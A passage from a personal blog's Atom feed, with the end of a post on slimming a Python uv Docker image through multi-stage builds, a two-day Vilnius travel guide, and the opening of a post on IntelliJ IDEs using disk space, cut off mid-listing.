</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dockerfile" data-lang="dockerfile"><span style="display:flex;"><span><span style="color:#719e07">FROM</span><span style="color:#2aa198"> ghcr.io/astral-sh/uv:trixie-slim AS base</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">WORKDIR</span><span style="color:#2aa198"> /app</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Only copy uv.lock and not pyproject.toml</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># This ensures hermiticity of the build</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># And prevents Docker image invalidation in case of non-dependency changes</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># are made to pyproject.toml</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">COPY</span> uv.lock /app
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Install dependencies</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">RUN</span> uv init --name src <span style="color:#719e07">&amp;&amp;</span> uv sync --no-dev --frozen
</span></span><span style="display:flex;"><span><span style="color:#719e07">COPY</span> src /app/src
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">ENTRYPOINT</span> [<span style="color:#2aa198">&#34;uv&#34;</span>, <span style="color:#2aa198">&#34;run&#34;</span>, <span style="color:#2aa198">&#34;python&#34;</span>, <span style="color:#2aa198">&#34;src/server.py&#34;</span>]</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>And let&rsquo;s build and check its size</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ docker build -f Dockerfile1 -t example1 . <span style="color:#719e07">&amp;&amp;</span> <span style="color:#cb4b16">\
</span></span></span><span style="display:flex;"><span><span style="color:#cb4b16"></span>  docker image inspect example1 --format<span style="color:#719e07">=</span><span style="color:#2aa198">&#39;{{.Size}}&#39;</span> | numfmt --to<span style="color:#719e07">=</span>iec-i
</span></span><span style="display:flex;"><span>210Mi</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>We don&rsquo;t need <code>uv</code> in the final build, so we can save space via multi-stage Docker builds.</p>
<p>Consider following the multi-stage Docker file <code>Dockerfile2</code></p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Dockerfile
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">20
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dockerfile" data-lang="dockerfile"><span style="display:flex;"><span><span style="color:#719e07">FROM</span><span style="color:#2aa198"> ghcr.io/astral-sh/uv:trixie-slim AS builder</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">WORKDIR</span><span style="color:#2aa198"> /app</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Only copy uv.lock and not pyproject.toml</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># This ensures hermiticity of the build</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># And prevents docker image invalidation in case non-dependency changes</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># are made to pyproject.toml</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">COPY</span> uv.lock /app
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Install dependencies</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># virtual env is created in &#34;/app/.venv&#34; directory</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">RUN</span> uv init --name src <span style="color:#719e07">&amp;&amp;</span> uv sync --no-dev --frozen
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">FROM</span><span style="color:#2aa198"> python:3.13-slim AS runner</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">COPY</span> src /app/src
</span></span><span style="display:flex;"><span><span style="color:#719e07">COPY</span> --from<span style="color:#719e07">=</span>builder /app/.venv /app/.venv
</span></span><span style="display:flex;"><span><span style="color:#719e07">ENV</span> <span style="color:#268bd2">PATH</span><span style="color:#719e07">=</span><span style="color:#2aa198">&#34;/app/.venv/bin:</span><span style="color:#268bd2">$PATH</span><span style="color:#2aa198">&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">ENV</span> <span style="color:#268bd2">PYTHONPATH</span><span style="color:#719e07">=</span>/app/.venv/lib/python3.13/site-packages
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">WORKDIR</span><span style="color:#2aa198"> /app</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">ENTRYPOINT</span> [<span style="color:#2aa198">&#34;python&#34;</span>, <span style="color:#2aa198">&#34;src/server.py&#34;</span>]</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>And the result</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ docker build -f Dockerfile2 -t example1 . <span style="color:#719e07">&amp;&amp;</span> <span style="color:#cb4b16">\
</span></span></span><span style="display:flex;"><span><span style="color:#cb4b16"></span>  docker image inspect example1 --format<span style="color:#719e07">=</span><span style="color:#2aa198">&#39;{{.Size}}&#39;</span> | numfmt --to<span style="color:#719e07">=</span>iec-i
</span></span><span style="display:flex;"><span>143Mi</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>That&rsquo;s an extra 77Mi (37%) of savings while reducing the attack surface of the Docker image by eliminating
<code>uv</code> from the final image.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/devops" term="devops" label="devops"/><category scheme="https://ashishb.net/tag/docker" term="docker" label="docker"/><category scheme="https://ashishb.net/tag/python" term="python" label="python"/></entry><entry><title type="html">Two days in Vilnius, Lithuania</title><link href="https://ashishb.net/travel/vilnius-lithuania/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/warsaw-poland/?utm_source=atom_feed" rel="related" type="text/html" title="A short stay at Warsaw, Poland"/><link href="https://ashishb.net/travel/riga-latvia/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Riga, Latvia"/><link href="https://ashishb.net/travel/tallinn-estonia/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Tallinn, Estonia"/><link href="https://ashishb.net/travel/helsinki-finland/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Helsinki, Finland"/><link href="https://ashishb.net/travel/oslo-norway/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Oslo, Norway"/><id>https://ashishb.net/travel/vilnius-lithuania/</id><author><name>Ashish Bhatia</name></author><published>2025-09-21T17:00:57+00:00</published><updated>2025-09-21T17:00:57+00:00</updated><content type="html"><![CDATA[<blockquote>Explore Vilnius: Discover its quiet charm with a walking tour, touch history at the Money Museum, and wander in the artistic streets of Uzupis.</blockquote><p>Continuing from 
<a href="/travel/riga-latvia/">Riga, Lativa</a>, in a 4-hour 
<a href="/travel/public-transport-guide/">bus ride</a>, I ended up at Vilnius, Lithuania.
The town feels quiet and small.
There isn&rsquo;t a lot to do here.</p>
<h2 id="day-1">Day 1</h2>
<p>Start your day with a   
    
    
<a href="https://www.freetour.com/company/23?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">walking tour</a> which gives you a nice overview of this city.</p>
<p>Medeina/Medeine is a famous forest goddess of the baltics before conversion to Christianity.</p>
<figure>
    
    <a href="vilnius-lithuania-medeine-on-bear.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="vilnius-lithuania-medeine-on-bear.jpg"
         alt="medeine" width="900"/> </a>
</figure>

<p>Afterward, visit the   
    
    
<a href="https://www.lb.lt/en/money-museum-1?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Money Museum</a> of the bank of Lithuania.
Just like the 
<a href="/travel/london/">Bank of England Museum</a>, you can hold a gold bar here.
And there&rsquo;s no entry fee.</p>
<figure>
    
    <a href="vilnius-lithuania-holding-a-gold-bar.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="vilnius-lithuania-holding-a-gold-bar.jpg"
         alt="You can touch the gold bar at the Money Museum" width="900"/> </a>
</figure>

<p>Afterward, visit the KGB museum of occupation.</p>
<figure>
    
    <a href="vilnius-lithuania-museum-of-occupation.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="vilnius-lithuania-museum-of-occupation.jpg"
         alt="Soviet era museum of occupation" width="900"/> </a>
</figure>

<h2 id="day-2">Day 2</h2>
<p>I started the day with the   
    
    
<a href="https://vilnil.lt/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Museum of Illusions</a>.
It is a bit basic and not worth the price tag of €13 per person.
I would not recommend it unless you are traveling with kids.</p>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="allowfullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/WdAlyJIlBBE?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

<p>For €6 you can climb to the top of 13th century tower   
    
    
<a href="https://www.livetheworld.com/post/history-and-mystery-in-vilnius-cathedral-square-bell-tower-31ji?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Bell Tower</a>.
It has been destroyed and rebuilt multiple times, it is less maintained than the one in 
<a href="/travel/tallinn-estonia/">Tallinn, Estonia</a>,
so, if you have done that one, feel free to skip this one.</p>
<figure>
    
    <a href="vilnius-lithuania-cathederal.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="vilnius-lithuania-cathederal.jpg"
         alt="medeine" width="900"/> </a>
</figure>

<p>The   
    
    
<a href="https://www.atlasobscura.com/places/stebuklas-miracle-tile?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Stebuklas tile</a> is end point of the longest human chain formed as a protest against the Soviet occupation.</p>
<figure>
    
    <a href="vilnius-lithuania-longest-human-chain-end.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="vilnius-lithuania-longest-human-chain-end.jpg"
         alt="Stebuklas Tile" width="900"/> </a>
</figure>

<p>And don&rsquo;t forget to visit the cute town of   
    
    
<a href="https://www.atlasobscura.com/places/republic-of-uzupis?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Uzupis</a>,
a self-declared micronation with gorgeous murals.</p>
<figure>
    
    <a href="vilnius-lithuania-uzupis.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="vilnius-lithuania-uzupis.jpg"
         alt="The Republic of Uzzupis" width="900"/> </a>
</figure>

<h2 id="note">Note</h2>
<ol>
<li>Credit cards are widely accepted</li>
<li>Vilnius, like a typical Eastern 
<a href="/tag/europe/">European</a> city is much cheaper than Southern 
<a href="/tag/europe/">Europe</a> or the 
<a href="/travel/stockholm-sweden/">nordic countries</a>.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/lithuania" term="lithuania" label="lithuania"/><category scheme="https://ashishb.net/tag/europe" term="europe" label="europe"/></entry><entry><title type="html">How IntelliJ IDEs waste disk space</title><link href="https://ashishb.net/programming/intellij-wasting-disk-space/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/tools-standalone-binaries/?utm_source=atom_feed" rel="related" type="text/html" title="Ship tools as standalone static binaries"/><link href="https://ashishb.net/programming/python-in-production/?utm_source=atom_feed" rel="related" type="text/html" title="It is hard to recommend Python in production"/><link href="https://ashishb.net/programming/using-python-uv-inside-docker/?utm_source=atom_feed" rel="related" type="text/html" title="Best practices for using Python &amp; uv inside Docker"/><link href="https://ashishb.net/programming/maintaining-android-app/?utm_source=atom_feed" rel="related" type="text/html" title="Maintaining an Android app is a lot of work"/><link href="https://ashishb.net/programming/flask-vs-fastapi/?utm_source=atom_feed" rel="related" type="text/html" title="FastAPI vs Flask performance comparison"/><id>https://ashishb.net/programming/intellij-wasting-disk-space/</id><author><name>Ashish Bhatia</name></author><published>2025-09-14T04:00:08+00:00</published><updated>2025-09-14T04:00:08+00:00</updated><content type="html"><![CDATA[<blockquote>IntelliJ IDEs are powerful. I love them, but they waste my disk space</blockquote><p>I love IntelliJ IDEs.
I use Android Studio for Android, PyCharm for Python, and GoLand for Go.
They are powerful.</p>
<p>I just wish they didn&rsquo;t fill my 500GB disk as if there is no tomorrow.</p>
<p>For example, with IDE settings left over from old installations.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ du -shc ~/Library/Application<span style="color:#cb4b16">\ </span>Support/JetBrains/* | sort -h
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>264M    JetBrains/PyCharm2023.2
</span></span><span style="display:flex;"><span>359M    JetBrains/PyCharmCE2023.2
